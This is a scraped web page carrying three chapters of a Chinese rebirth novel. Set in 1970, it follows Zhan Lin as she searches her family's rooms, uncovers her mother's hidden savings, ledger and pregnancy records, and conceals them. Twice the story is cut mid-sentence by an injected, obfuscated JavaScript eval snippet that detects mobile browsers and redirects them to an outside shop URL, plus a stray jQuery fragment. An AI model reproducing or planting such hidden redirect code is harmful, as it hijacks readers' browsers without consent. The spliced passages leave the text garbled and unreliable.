一沓空白介绍信,一个信封。信封没封口,展琳将里面的东西抽出来,看过后心情有点微妙。
这是一张工作介绍信,新华路西招待所会计出纳员。
新华路西招待所,就是她死前,宁耘书在电话里提到的那家老招待所。
巧不巧?对这个工作,她印象很深,因为这个工作被接手后没一个月就转让了。
招待所会计出纳员,可是很好很体面的工作,尤其是现在正处于特殊时期,谁占了都不会轻易挪屁股。
而接手这个工作又很快将工作转让出去的人,跟她家关系还很近,就是何正丽的继女许燕来。
上辈子她就怀疑过许燕来的这份工作是她妈给找的,但许燕来否认了。人家拿着卖工作的钱,高高兴兴地去了干休所上班。
洪惠英同志对个没有血缘关系的表外甥女,是真大方,叫她这个亲女儿都有些嫉妒。
展琳将东西归拢好,锁上柜子,又搜其他几个地方,没找到什么,也就拿了户口本和她爸的印章出了书房。
身上灰扑扑的,她放好东西,去厨房烧壶水,刷牙洗脸后,换套衣服,到客厅泡了碗麦乳精,正喝着就听到一声“惠英回来了”,紧跟着便是一阵急切的脚步声。
嘭的一声,家门被推开。
洪惠英一头汗进门,眼眶通红:“琳琳,你爸……你爸他……他混蛋!”
4. 第 4 章
看着眼前人,展琳除了恍若隔世,没有多余的感情。当然,她们也确实隔世了。
“妈妈要去找你二姑,请她帮忙问问情况。”洪惠英匆忙忙地往主卧:“午饭你自己在家随便弄点吃。不想做饭,五斗橱里还有点心。”
展琳目光跟随着她,看着她将主卧的门关上又打开,注意到她换了包,又目送她去书房。等人从书房出来,她的包明显比之前鼓。
“这里还有两罐你喜欢的水果罐头,你开了吃。”洪惠英将罐头放到桌上,疾步往外:“妈妈走啦啊,你在家好好的,热了就开电风扇。”
啪一声,门关上了。
展琳盯着门看了几秒,放下手里端着的碗,转身去主卧。存折还在,但现钱少了二十五张大团结。她又立马到书房查看。
饼干盒里的饼干,上层就只剩几块。她掀起垫纸,下面一层已经没有了钱,全是饼干。
她绕到写字台后,取了钥匙打开抽屉,抽屉里东西没被动过。拿了一根别针,开柜子锁。
柜子里,肉罐头只剩一个,三转一响的票没了,手表没了,还有那个装着工作介绍信的信封也不在了。
展琳意外吗?好像没什么可意外的。她撕了几张新华路街道办盖章的空白介绍信,平静地锁上柜子,抽走抽屉里电厂的那小沓空白介绍信,到客厅大口将剩下的半碗麦乳精喝完。
回房间梳了头,打开衣橱,取了包,换双布鞋,她也出了门。
下了附楼步梯,没几步就是车棚。车棚里这时候就停了两辆自行车,一辆老旧的二八大杠,一辆九成新的二六女士自行车。
太阳很晒,展琳都走到车棚了又回家,拿了顶遮阳帽戴上。推着她那辆二六女士自行车出院门,迎头撞上送饭回来的郝大娘。
“你这是要去哪?咋瘦了这老多?”
问了声好,展琳随便扯了个借口:“我去我奶那一趟。”没做停留,出了院门就踩脚蹬跨上自行车。
她有好几年没骑自行车了,但问题不大,车龙头晃荡了两下便稳住了。
“还真的是病了,瞧那脸白得跟纸似的。”郝春华嘴里念咕,又回头看了一眼往旺三道骑的纤细身影。
二楼朱晓荷推开窗,眉眼带笑:“郝主任,您听说了吗?隔壁展副厂长搞破鞋被抓了。”
听说了,但郝春华不喜欢她幸灾乐祸的样儿:“小朱啊,不是我爱叨叨,你年纪轻轻的天天在家待着可不是个事儿,孩子能离手,该送托儿所送托儿所。你的工作,总不能一直让你娘家弟媳顶着班。”
真是哪壶不开提哪壶,朱晓荷也不是好性子,装模作样地抬起手腕看表:“现在是十点四十二,这还不到下班点,您就打了饭送到家了?”。
郝春华脸一沉:“你知道个屁,我一会要替同事去市妇联作报告,回来洗个头换身衣服就走。这饭菜也不是在厂里食堂打的,是我经过巷子口国营饭店顺道买的。”
展琳骑车到旺三道,左右看了看,向北去。二十年后的卫洋市跟现在大不一样,不过好在她自小就长在城区,对这片分布都很熟。快骑到公安局家属院了,才想起来何正红这会儿应该在单位。
调头去棉纺厂,骑了近二十分钟,没等到地儿,她就看到她妈拐弯进了孝西路。
这是已经见过何正红了?
展琳跟上,沿着孝西路骑了有二十分钟,她妈还继续直行,她就下了孝西路进了葫芦巷。穿过葫芦巷,走香樟坊边上的长街,过去就是新华路街道。
站在浮山路邮箱后,她等了三四分钟,她妈骑车来了,不出所料她妈是要去元钱胡同。
元钱胡同6号院东北角上的小院,是她的师父秦老太太留给她的,两间后罩楼,上下四间房,拐两间小厢房。她妈有那的钥匙,时常会去帮着打扫卫生。
展琳看了下表,现在是十一点五十六。从包里拿了块大白兔奶糖,剥了放在嘴里。也就一刻钟,人从元钱胡同出来了。她又跟了一会,在确定她妈是去上班了,才回头。
不用盯人,她也终于有心仔细看看周边。
熟悉的街道熟悉的矮房老沉的颜色,展琳慢条条地骑着自行车,一点一点地融入这个她记忆中的年代。经过新华路东的国营饭店,没有犹豫,停下来吃饭。
她现在可不敢亏待自己,进店见大堂里还有空桌,便快步走到点菜窗口排队。队不长,两分钟就排到她了。
“红烧肉有吗?”
“最后一份。”
“那来一份红烧肉、一份炒青虾仁、一碗米饭。”
“一共是一块一毛二,二两肉票二两·粮票。”
付了钱票,展琳跟服务员要了碗白开水,找个靠角落的位置坐下,摘了遮阳帽扇了扇风。气歇匀了,身上的燥热也慢慢退去。
上辈子,她爸还没被下放,她妈就申请离婚了。离婚后,她妈搬到了她元钱胡同的房子,几天时间就迅速跟人交接了工作,去了沪市。
之后,她爸在下放路上被个流窜犯失手捅死,她给她妈去电话,她妈态度很冷淡。她理解,毕竟她爸确实大错特错错的死有余辜。
后来她小产,需要手术,手术过程中大出血。她嫂子给沪市那打电话,得知洪惠英同志正忙着办婚宴,她哥气得都哭了。
她出了小月子后,决定离婚去西北支援三线建设,她妈才给她打了个电话过来。
电话里,她妈跟她说,“你都不能生了,再跟宁耘书离了婚,你还能跟到什么人?人家宁耘书离婚了,没有孩子拖累,照样能娶到城里有工作有样貌有家世的黄花大闺女。你呢,能得什么好?宁耘书不提离婚,你提什么离婚?你就跟着他好好过,至于孩子,你让他抱一个回来给你养喽。”
她哥晓得后,请假去了一趟沪市。然后,她妈就登报跟他们兄妹断绝了关系。
她去问她哥,在沪市发生了什么?
她哥说,小妹,哥跟你讲件稀奇事,就我单位同事小明,三十大几了,离了两次最近又娶了,做梦都想要个孩子,可怎么都怀不上。
前些时候,他跟他媳妇托关系找了个军医院的老大夫,给瞧了。人家问小明是不是得过痄腮?小明说,得过还差点被高烧烧死。那大夫就让小明两口子回去别再瞎折腾了。
这件莫名其妙的稀奇事,展琳记了很久,因为不知所云啊。
当时她听得是云里雾里,她哥也不多解释,只让她别瞎折腾好好工作好好生活。
1982年,她从西北援建回来,也去了趟沪市。
洪惠英女士在沪市过得不错,住着独栋的小洋楼,进出都有的士。听她的邻居说,她喜欢穿精致的旗袍喜欢喝咖啡吃牛排,还喜欢挽着丈夫带着儿子去沪市大剧院看歌剧。
儿子,是洪惠英女士42岁时生的,母子两有六七分像。
她没有露面去打搅他们一家,在沪市转了半个月,就回了卫洋市。
直到1991年的夏天,何正红、何正丽姐妹被抓,公安联系她问询一些事,她才知道洪惠英女士在1990年已经同丈夫孩子移民美国。
“19号,红烧肉、炒青虾仁。”服务员叫号。
展琳收回思绪,起身去端了饭菜。
新华路有东西两家国营饭店,红烧肉烧得都很地道。她这一份分量不少,就是不见什么肥。不过瘦肉也好吃,不柴。
炒青虾仁里,放了青豆。青虾仁细腻软嫩,吃得出来是今天新鲜的。
菜合口,展琳也有胃口,两个菜配一碗饭,刚刚好。吃完,她满足地离开国营饭店,推着自行车慢走。
下午一点,正是天最热的时候,路上人不多。
“我今儿一早就骑着自行车,去帮你打听招工消息,跑了几个厂区,到现在连口水都没喝上,热得舌头都快冒烟了。你不关心一句就算了,我只是想请你陪我去国营饭店垫吧两口,你给我甩啥脸子?”
“张力和同志,我跟你不一样,我的时间每一分每一秒都很宝贵。我谢谢你帮我打听招工消息,但也请你不要再跟着我了,我奉陪不了。”
“您知点儿好歹,别总这样行吗?岑今同学。”
岑今?
展琳不由回头,正好跟后面你逃我追的男女对上脸。
扎着低马尾的女同志一下刹住脚,一双桃花眼清凌凌的,丰润的唇颜色有点淡。意外写在脸上,她朝展琳轻轻颔首:“好久不见。”
“好久不见。”展琳不着痕迹地将岑今打量了遍,最后瞥了一眼一脸揶揄之色的张力和,骑上自行车离开。
她死前,宁耘书在电话里提到岑今时,她是真的一点没想起来是谁。但就刚刚“招工消息”四个字,再对照着人,一下子让她给想起不少。
岑今确实跟她在初一做过一年同桌,比她小两岁,成绩非常好,每次都能考第一,人长得也很漂亮。
那时候岑今的父亲已经病逝,家里都靠她妈妈在撑。后来她妈妈也病了,她就办了休学。
展琳没想到出来一趟能遇到她,刚刚她对张力和那态度……两人这是还没处上对象。今天7月20,距离岑今失踪也没多少日子了。
上辈子岑今失踪,张力和报的公安,还疯找了她一段时间,对外都称岑今是他对象。
展琳联想到宁耘书的那通电话,岑今藏了一本账本在新华路西招待所,然后祁泓程就去监狱提讯张力和。
那是不是意味着,账本跟张力和……不对,1970年张力和连个工作都没,能有什么账本,应该说那账本很可能跟电厂财务科科长张德润或张德润家有关系。
紧接着,宁耘书又提到她爸展国成被抓后,她奶奶卖的那套京市四合院,在卫俊毅的名下。
卫俊毅是谁?名义
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990681|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,他是何正红的婆家侄子;实际上,他是何正红丈夫卫民跟前妻生的孩子。
卫民前妻是个资本家小姐,1950年生下孩子就随家人去了港城。也正好卫民大哥家脚跟脚生了个女儿,便将两个孩子充作龙凤胎。
这事还是改革开放后,卫俊毅亲妈回国找上卫民才暴露。
展琳了解宁耘书,宁耘书不喜欢说废话。
那么总结一下,1970年她奶奶苏月圆女士卖掉的京市四合院,1993年在何正红继子的名下。
而她爸展国成被抓后一周,半夜找上她家门,说她爸签字的一些账目存在问题的两人,一个是张力和的爹张德润,一个是卫俊毅的爹卫民。
这会是巧合吗?
岑今失踪的时间1970年8月。1970年8月,电厂正在查账。
展琳笑笑,世上哪有那么多巧合。张德润在1986年,临退休前进去了,就是因为做假账偷厂里钱。这事,她大哥二叔大姑都特地打了电话告诉给她。
只是那时候,即使他们有怀疑,也没了对证。人家账早就平干净了。
到元钱胡同6号院,正正好一点二十。走小门进,直接就是后罩楼。院子里,一个人都没有。
到东北角小院门,展琳从包里找了钥匙出来。开了门,将自行车推进去。
元钱胡同,按划分归新华路街道管,但这地儿去三花里街道办走路只要十多分钟。她上班时,中午大多都歇在这。
6号院,是个四进的大四合院,住了18户人家。
她的这个小院没经过改动,原就是以前的大户劈出来给寡居的女性长辈住的。
两间小楼,上下四间房,加两小间坐东朝西的小厢房。小厢房,一间做厨房一间放杂物。院子空地不大,十二三平。
回到自己的地方,展琳整副身心都松快了。目光在院子里转一圈,没发现什么异样。开锁,将正屋的门打开。阳光斜照进入,桌椅上灰尘显然。
她6月下旬去的黔省,回来后都住在七骨巷。算起来,她有二十多天没来这里了。手指擦了下厅里的小圆桌,看了看,积灰不少。
桌面中心位置,灰尘被擦了点。这倒是提醒了她。
站起身,把门关上,转身去里间炕柜里找手电筒。手电筒就收在炕柜抽屉里,也不用找。拿出来,试了下,灯光挺亮。
一楼窗帘都拉上,屋里暗黑暗黑。她拿着手电筒从客厅开始找灰尘痕迹。客厅除了桌面留下的那点,凳子、红木沙发、红木桌几、边柜上都没有。
里间,缝纫机、三米大炕、炕柜上只有她刚动过的两三个地方有。拉开通向炕灶间的门,展琳照了照小灶台、洗浴桶、大木柜、柴、炭,没发现什么不对,就退了出去,往客厅后的小隔断查看。
小隔断有五六平,米面粮油糖茶都放这了,还有一些平时用不到的整套碗筷,大小陶罐等等。光亮走过一圈,展琳把隔断间门关上,到楼梯口,上二楼。
二楼的窗帘是拉上的。她先去书房,看书架上、玻璃上没有可疑的指印手印,就知道没人光顾过。写字台、茶几、五斗柜、收音机、摇椅、针线笸箩……一一查过后,往卧室。
楼上的这间卧室,自去年房子重修重装后,就只有她住过。
灯光照着衣橱,衣橱门上有指印。红木箱子、红木架子床、立柜、梳妆台,都灰沉沉的。挨着梳妆台的凳子,凳面干干净净。地是水泥地,灯照不出啥,当然也藏不了啥。
展琳打开衣橱,衣橱上层放的大棉被。这个季节,惯常她肯定不会去动。下层挂了几件春秋衫几件夏天穿的衣裤,还有三件布拉吉。
走到床边,掀起罩在床上的床单。关了手电筒,打开电灯。也不用凳子,直接去扯大棉被。随着一床大棉被落到怀里,啪一声,一个板砖似的纸包也掉地上了。
先不去管,展琳抱着棉被丢到床上,接着去扯剩下的那床。这回没掉出纸包,但被子往床上一扔,一个眼熟的信封露出来了。
她搬了凳子到衣橱边,捡起纸包,站上凳子,橱柜上层没别的东西了。
下了凳子,她就开始拆纸包。纸包里面全是大黑石,有些很平整有些折痕还挺新,数了下,正好一千块。
来到床边,拿起那只信封,倒出里面的东西。工作介绍信、三转一响的票、一张电视机票、十张工业券以及那块八成新的劳力士女士表。
展琳唇角扬着,眼里晃荡着水光,心里发堵。转头扫视了圈房间,她的这个小院,两间后罩楼,一间就有二十三四平,两间是四十七八平,上下两层一共九十五平。
九十五平,再加上厨房、杂物间,地方很大了。她今天要彻彻底底地将家里摸查一遍,看看她的家里还存在多少东西,是她不知道的。
当然,这个院子是她,那院子里的东西也都是她的。
5. 第 5 章
想到上辈子洪惠英女士一离婚就搬到这来,展琳便不再杵着了。他们家,据她所知,她爸每月工资都是全额上交,补贴会自己留着用。
大概抓一抓两床棉被,确定没藏什么,就折好塞回衣橱。春秋衫口袋掏一掏,啥也没有。
又打开挂冬衣的橱柜门,三件呢子大衣,一件是她奶奶前年给她买的,一件是嫂子生完清清后穿不了给她的,一件是她爸今年年初出差去金陵给她带回来的。口袋、内衬都空空。
手伸进大棉猴里侧口袋,有情况,掏出来,是一双卷成一团的袜子。展琳很确定她没有把袜子往口袋塞的习惯,不管这袜子干不干净。
拆开瞧瞧,袜子确实是一双,但有只袜子尖里藏了张存单,500块,洪惠英女士的。
衣橱里,厚薄衣服都被她过了遍手,连内裤都没放过。角角落落,抠抠敲敲。
手电筒照过衣橱贴墙的缝隙和橱底,除了灰没别的了。橱顶,以她167公分的身高,踩着凳子才能看个勉强。洪惠英同志可是比她矮半头。
床铺、梳妆台,仔仔细细地查,没有收获。床头叠在矮柜上的红木箱子下,压着二十张大团结。
红木箱子里,是她师父给她的布料,被她拿出来又收回去。矮柜抽屉锁着,她去楼下把包拿上来。取了钥匙,开锁。
她的积蓄,都在这里。存折上,1450块,其中600块是她爷爷临终前分给她的嫁妆。二叔家的展珂,大姑家的文星、文雪、文月都有。她爸给她凑了整一千,剩下的450块是她自己的。
另外,抽屉里还有80块零散钱,17张工业券,6张烟票,3张酒票,16斤全国粮票,一本邮票本。
展琳打开邮票本,第一页就是一张蓝底红星八一邮票,心不免一滞。
这张“蓝军邮”是小时候她跟她哥去宁耘书家玩,宁耘书妈妈给她的。也是从那时候,她喜欢上了集邮。
她还有一本以前的老邮票,被她收了起来,在去年修房子的时候,连同几件老物件埋到了后墙根下。
把抽屉抽出来,将之前找到的东西都先放到里面。卧室搜干净了,她端着抽屉去书房。书房家具不多,但书多。
书都是很大众的书,有《伟人思想》、《伟人语录》、《党宣》等,还有她奶她爸以前从旧书摊上淘的一些基础技术书,她师父喜欢的样板戏,她喜好的小说和连环画……
展琳查过书架顶,用手电筒照过各个缝隙,在写字台的柜子里发现了一个暗格,里面藏着五根小金条,掂了掂,一根得有个三四两。
她也不知道这个是不是她妈藏的,因为这写字台是去年在信托商店买的。
五斗柜柜子底板竟然是活动的,可以抽离。底板下两三厘米高的空间,都是票。全国粮票就有420斤,市面上很少见的全国通用布票,这里有32尺。工业票61张,烟票、酒票二三十张。
看日期,就知道是她妈藏的,因为没有一张票是过期的。
这么多全国粮票、全国布票?
展琳心里有了个猜测,接着找。
不翻不知道,她光小人书就有46册。工作两年,街道宣传手册拿回来15本,记了9本笔记,还有厚厚的一沓手稿。
她学习虽然不好,但她小学、初中、高中课本都在。课外丛书、课外习题册排了一小排,很多都是新的,她都不知道为什么还留着这些。
抽到《数理化自学丛书》,她连打开的欲望都没,但还是要过遍眼。书页快速翻走,中间夹了张纸。
展琳讶异,纸还是老宣纸。纸上就两句话,人生至此,遗憾颇多。唯你,穗朝思暮想,痛彻心扉。
很漂亮的毛笔字,气势连贯,笔力强劲。她也练过十多年的书法,一看就知道深浅。
唯你,穗朝思暮想……
穗?
展琳想到了一个人,宋玙禾,洪惠英女士的第二任丈夫。这人有个小字,就是穗。
恰恰,宋玙禾还是沪市人。
她转头看向她刚放到抽屉里的那沓票,也许正如她猜测的那样,洪惠英女士一直在准备着离开。
书房找完,带着抽屉下楼。楼下隔断间,大陶罐里藏着一小包金瓜子。碗橱抽屉底板有夹层,藏了120张大团结。
炕铺席子下垫子补丁里,一张两千整的存单,洪惠英女士的。
洪惠英女士是真的很了解她这个女儿,东西都藏在她日常不会去动的地方。
她师父生前用的一只手电筒,去年坏了,她没拿去修也没舍得扔,就收着当念想。没想到,手电筒里还能塞下一千块钱。
炕灶间,展琳搜了小灶、灶洞,没东西。浴桶、痰盂挪挪位置,蜂窝煤没有可以藏东西的地方。她拿了只小板凳坐到大木柜前,柜里有两摞书,都是用来引火的。
她哥高中课本上的手写字很多,翻翻就知道上课有认真听讲。小学四年级的语文书里,竟然还夹着一分钱。归她了,收好。
很快一摞翻完,翻第二摞。初中语文,没兴趣。五年级暑假作业,完成得很好。一本接着一本,哎呦,还有日记本呢,她哥的日记本。
每篇日记都很简短,1958年1月16日,雪。今天我美丽的妹妹被我拧耳朵了,都跟她说了不要去外面玩雪,她左耳朵进右耳朵出。我真的想打她一顿,但她一冲我笑,我就想玩雪也不是什么大事,让她玩吧。
1958年2月12日,小雨,我今天的心情,就跟今天的天气一样。爸爸妈妈又吵架了,早知道我该在奶奶家不回来的,也幸好我妹妹那个小漂亮没跟着我一起回来。
1958年3月20日,晴,今天中午奶奶做了红烧狮子头,我想妈妈很爱吃这道菜,就让奶奶给我装两个狮子头,我要送去给妈妈吃。我到妈妈单位,看到妈妈跟一个叔叔在河边。妈妈脸上的笑,是我见过最美最美的温柔。
叔叔?展琳捕捉到关键词,又往后翻了几页,本就不厚的日记本都快见底了。
1958年7月28日,雷雨,妈妈今天很开心,我看她开心我也很开心。可惜爸爸去京市学习了,不然开心的人又会多一个。
1958年8月16日,晴,奶奶说近臭远香是真的,今天爸爸回家,我跟妹妹都很开心很开心。二十天没见,妈妈也对爸爸很好很好。晚上,我们吃红烧大里鱼。大里鱼是我二叔钓的,我二叔太棒了。
1958年8月17日,晴,宁伯伯宁阿姨要带耘书哥去部队探望宋卓大哥了。听耘书哥说宋卓大哥受伤了,我好难过,希望宋卓大哥快快好起来,然后打死所有坏蛋。
宋卓是宁耘书爸妈收养的英雄遗孤,除了宋卓外,他们还收养了张怀章、张怀玉、马岩芯、邵译。
五个英雄遗孤,张怀章、邵译都是军校毕业。宋卓没上大学,但有师父带,军医。马岩芯学的机械,现在应该在京市机械厂研究所。张怀玉从政,目前在苏市市委,过几年会被调去沪市。
日记翻到最后,展琳也没再见到“叔叔”两字,有点失望。继续翻,看有没有下一本日记。
日记本没有,记账本倒是有一本,压在一摞书的倒数第三本,小学数学封面。书一翻开,她就察觉不对,封面下不是书页。
1951年4月6日上午,给张玉凤汇款20元。
1951年5月2日上午,给张玉凤汇款20元,并一件包裹(皮鞋一双,十六尺棉布,5斤大米5斤白面,一斤干菇,一斤红糖)
1951年5月29日下午,与张玉凤在京市百货大楼,花费63元6角,买了一件衬衫、三斤毛线、两斤糕点、一斤红糖、12尺棉布。
洪惠英同志真孝顺,二十年,汇款一月不落,每月至少20块,这还不包括给买的东西和寄去京市的包裹。
这些累加起来,6000块,只少不多。展琳总算是知道他们家的钱都去哪了。张玉凤之后,还有何正红、何正丽的账。
这两姐妹的账就有意思了,1958年10月之前,每月她们从洪惠英女士这也就能磨个几块钱。
但1958年10月起,洪惠英女士像发财了一样,何正红还好点,每月拿个十一二块十三四块,但何正丽就一点不客气了,二十、三十随便花。
12年间,洪惠英女士先后给何正红两个工作名额,给何正丽三个工作名额。
一条条,这里都记录的清清楚楚。
展琳用力捻了捻被糊起来的书面,能捻到封面夹层里有另外的纸张。她也不去找刀,直接撕。
两张诊断书和一张药单。
两张诊断书,一张是京市西所医院1958年9月14号开的,怀孕11周,孕妇洪惠英。另一张是卫洋市阁穗妇幼医院,1958年10月18号开的,怀孕11周,孕妇洪惠英,诊断医生何正丽。
药单上的药,展琳不陌生,引产用的。
她眼里泛起潮红,所以那个被她奶奶一肘子拐掉的孩子,不是她弟……不,也是她弟弟,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990682|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是不是她爸的。
展琳让自己冷静让自己沉下气,不要太过激动,她肚里还有两个小芽。1958年那个冬天,洪惠英女士在医院对她奶发的疯,她至今都历历在目。
那孩子没了后,她妈总说要恨她奶恨一辈子。
也确实挺恨,上辈子张德润和卫民拿着一沓账找上门,说她爸签字的账有16700块钱的空子要补。她妈拿走了她跟她哥手里的钱,然后就哭哭囔囔硬逼着她奶拿12000块钱出来。
她奶、她二叔、她大姑掏空了家底才凑到11280块,接着展珂便把工作卖了。
当时她哥就问了一句,他们家里的钱都花哪去了,洪惠英女士就拉着他们兄妹开始算账。
今天遇到药贩子,买了株灵芝,明天单位同事问要不要阿胶,后天一个老乡那有虎骨酒卖……
这账怎么算?洪惠英女士说,百年人参,就给他们爷买了三株。
他们爷已经去世三年了,要对质也只能找张玉凤。那有没有买,还不是看张玉凤怎么讲?
算到最后,她跟她哥都闭嘴了。
但她嫂子来劲儿了,问洪惠英女士,您既然有路子买好货,那去年您干嘛不说呀,害得我妈坐那老远的火车,跑回东北帮我们买参。
上辈子,她跟她哥其实都在怀疑她妈。因为她妈去沪市前,将她跟她哥的钱还给了他们。
他们拿着钱,实在烫手,就一人留了一百块应急,剩下的都送去了奶奶那。
情绪平缓下来,展琳一边往后继续翻账本,一边在想洪惠英女士为什么要把诊断书、药单都保留下?
是为了牵制吗?
有这些证据在,不管是何正丽、何正红还是张玉凤,都不敢把洪惠英女士逼进死胡同。
账本后半部分,都是空白页,直至最后一张。最后一张不是空白,有行钢笔字,26xxxx,沪市银行。
沪市银行,宋玙禾没下海前的工作单位。26xxxx,六位数字,是电话号码吗?
展琳也不纠结,是不是的,明天找个时间去邮局打下试试不就知道了?
合上账本,她清清嗓子,张嘴啊啊了两声,讲话:“喂,您好,我是洪惠英。”发出的声音,几乎跟洪惠英一模一样。别人,她模仿不了,但她妈的声音,她记一辈子了。
上辈子,她时不时地就会给自己来一句,“至于孩子,你让他抱一个回来给你养喽。”
让他抱一个回来,意思就是让宁耘书在外生一个,抱给她养。
可笑吧?
因为这句话,她在西北在深市,不管多难,都咬牙撑住。她要证明自己无论离开谁,都能把日子过好过美。不过,很多时候……确实挺苦的。
将账本放到脚边,展琳接着去拿剩下的两本书。不意外,厚的那本,是汇款单。看了下,都是给张玉凤汇的。两摞书放回原位,她记得厨房和杂物间还有书。
包忘在楼上了,她又上楼拿包。
厨房门打开,展琳抿了抿发干的唇,先烧点水喝吧。缸里的水肯定不能用了,院子里就有接水龙头,拎水很方便。刷了小锅,舀了四瓢水,盖上锅盖,架火烧。
灶膛后摞在墙角的那些书,她翻了翻,没翻到要紧东西,就起身带着小板凳去杂物间。
杂物间里,两扇破门靠墙垫在地上,上面堆放着煤饼。这些煤饼,是她二叔出车去陕省带了散煤回来自己做的。
小窗开着,电灯开着,光亮足够。展琳就地放倒一麻袋书,飞快地翻阅。这些书装袋的时候,就被翻阅过,所以基本没有夹带啥。压在麻袋底层的一沓一沓废手稿,看笔迹是她爸的。
一张一张,过遍眼。几百张,看得她眼都发花。一张翻过去又翻回头,这字歪歪扭扭的,写得又大又丑,不是她爸笔迹。
山省青滩仁祥医院,患者展国成,卫洋市人,31岁,痄腮,并发gao丸炎,高烧不退,隔离治疗。
痄腮?展琳脑子里不禁回放起她哥给她讲的那件稀奇事。1957年12月23号,她爸在山省青滩得痄腮被隔离治疗。
一切都通了。
为什么她哥要请假大老远地跑一趟沪市?为什么在她哥去过沪市后,洪惠英女士就跟他们兄妹断绝了关系?
因为作为母亲,洪惠英女士已经没办法再面对她跟她哥了。
她哥也不是没头没尾就跟她讲他单位同事求子的事儿,而是他不知道怎么将那样难堪的事直白地告诉她。
6. 第 6 章
洗个大汤碗,展琳将锅里的开水盛起来,端到客厅圆桌上晾着,又去里间拿出自己的军用水壶,刷一刷。
家里都被她搜了个遍,她要考虑考虑怎么处理找到的那些东西。
存单,洪惠英2500元,展国成1600元,这个她一会就去银行,看能不能把钱都取出来,存到她的折子上。
3400块的整钱,她不准备再存银行了,至少今年不会去存。那就连同金子,一起放到她师父生前放积蓄的地方。
票,常用常拿,适宜藏在好拿好放的地方。工作介绍信,最近也要出手。
洪惠英女士的记账本,她要手抄两份。汇款单、老宣纸、她哥的日记本、诊断书这些,暂时用不到,那就好好收起来。
手表,不用藏,之后洪惠英女士要就拿走,不要她就留着。
考虑好了,展琳便拿着票走到炕灶间,她师父在决定把这小院子留给她时,就专门挑了个晚上,告诉了她家里哪里能藏住东西。这个事,她谁都没说。
大木柜很笨实,是她师丈亲手给儿子打的结婚家具,只是没能用上。
展琳蹲在木柜的侧边,拿掉垫在靠墙的那只柜脚下的小铁垫子,用力扭动柜脚。柜脚被扭偏了十五度角,就再也扭不动了。
手在柜底板边缘摸,摸到了一个小小的凸起,摁进去,侧边柜板就往外移了点点。推柜板,板很丝滑地滑开,露出隐藏的隔层。
粮票分四格放,布票放一格,烟票放到格子里,展琳想想又拿出来十张。烟票、酒票都是好东西,她最近不定什么时候要用到,还是随身带些好。
三转一响的票和电视机票,她打算给她哥。
她哥的岳父在市武装部,关系硬。趁现在电厂还没开始查账,他们得想法子跟她爸见一面。
藏好票和工作介绍信,将大木柜恢复原样。展琳把手中剩下的票折叠,收进缝在裤腰里层的小袋里,然后拿着账本到炕铺房。从缝纫机肚里找根针,走到窗边蹲下。
贴着地面的一块砖旁有个很小的气孔,针戳进去挑动几下,砖就轻轻地弹出稍稍。把砖抽离,露出一条长约15厘米宽不到4厘米深六七厘米的空隙。
这是她师丈藏私房钱的地方。展琳将账本拦中一折,往口子里一塞,可以了。
到客厅喝了两口水,湿湿嘴。她又拿瓷盆,装上金子、钱等,用条大毛巾盖着,打开堂屋门,去厨房。
走进厨房,关上门,小窗户帘子拉上。她带着盆来到灶膛后,用掏灰耙把大锅灶洞的灰往里推一推。电筒照着,手伸进灶洞,将横着的一块半砖朝墙的方向推。
那半砖看着严实,但只要推的方向对,很容易就能推动。有了空,其他砖就松动了。
取出砖,展琳高举起掏灰耙的铁耙头,跟墙上的一块砖一碰,那砖瞬间就紧紧地吸附在铁耙头上。砖被抽离墙面,俨然就是一块巴掌大的磁铁。
铁耙头带着磁铁进灶洞,轻易地揭起一块铁板。铁板下是一只被水泥固定住的坛子。
坛子是她师父亲手浇筑在这的,用来存放积蓄。当然现在坛子里就只有一坛子底的铜钱,其他的钱财都已经被她师父捐了。
展琳把金子和钱放进去,封好坛子口,盖上铁板将砖都恢复原位,再掏点灰遮一遮。
最后就是这些证据了,杂物间门口,摆放煤炉子的墙角下还埋着一只空坛子。
忙完,时间也不早了。她赶紧掸掸灰,舀水给自己擦擦。灰裤子看不出啥,就是衬衫颜色浅,沾了黑灰,印子比较明显。上楼换一件,下楼把换下的衬衫搓洗两遍,晾到檐下。
咕噜咕噜,喝了几大口水,解了渴,展琳将剩下的水灌进水壶,拿上包确认没落下什么,就锁门推车离开。
经过隔壁小院,她见门敞着,看到陈老爷子在院子里修收音机,礼貌问好:“您忙着呢?”
老爷子抬头,笑着说:“刚听到你院子里有动静,我出门瞅一眼。瞧你门上没锁头,我就知道不是你就是你妈来了。”
“我出差才回来,今天过来收拾收拾。郑奶奶和班姥姥呢?”
“一早上就出门钓鱼了,”老爷子说着看了下手表:“到点儿了,她们也快回来了。”
“那您忙着。”
“好好,你慢走。”
展琳出了元钱胡同,骑车往西场那边去。洪惠英女士的钱,存在西场云桂楼对面的银行。她爸展国成的钱,存在她奶奶家附近的银行。
有存单有户口本,取钱很顺利。
踩着下班点,展琳到她存折开户的银行,在折子里夹了二两糖票,才让窗口的大姐勉强有了笑脸。
钱存进存折,走出银行,她大舒口气。
夏天日头长,这都六点了,太阳还老高。正当下班时候,路上不像下午那会儿清静,来来去去都是人,自行车铃铛丁铃当啷。
副食品店里,插脚的地儿都没。原本她还想买点黄豆,现在不用想了,根本挤不进去。去附近的国营饭店看看吧,今晚上她家里可没有饭吃。
